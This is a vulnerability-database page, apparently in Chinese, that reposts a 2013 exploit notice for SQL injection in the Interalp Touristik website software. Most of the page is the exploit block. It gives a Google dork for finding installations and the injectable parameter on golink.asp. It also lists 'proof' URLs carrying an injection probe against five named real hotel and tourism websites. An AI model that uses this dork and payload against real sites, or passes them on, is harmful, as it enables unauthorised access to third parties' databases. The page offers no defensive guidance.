Interalp Touristik SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1044479 漏洞类型
发布时间 2013-09-10 更新时间 2013-09-10
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2013090080
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#********************************************************************************
# Exploit Title : Interalp Touristik Sql injection Vulnerabilites
#
# Exploit Author : Ashiyane Digital Security Team
#
# Software Link : http://interalp-touristik.com
#
# Tested on: Windows 7 , Linux
#
# Google Dork : intext:"powered by Interalp Touristik"
#
# Date: 2013/09/10
#
--------------------------------------------------------------------
# Exploit : Sql Injection
#
# Location : [Target]/de/golink.asp?DB=Contentanhang&ID=[Sql Injection]
#
#
# Proof:
#
# http://www.der-adler.at/de/golink.asp?DB=Contentanhang&ID=1'
#
# http://www.holzgau-wel.com/de/golink.asp?DB=Contentanhang&ID=1'
#
# http://www.lifebox.at/de/golink.asp?DB=Contentanhang&ID=1'
#
# http://www.machurlaub.at/de/golink.asp?DB=Contentanhang&ID=1'
#
# http://www.hotel-regina.it/de/golink.asp?DB=Contentanhang&ID=1'
--------------------------------------------------------------------
######################
discovered by : ACC3SS
######################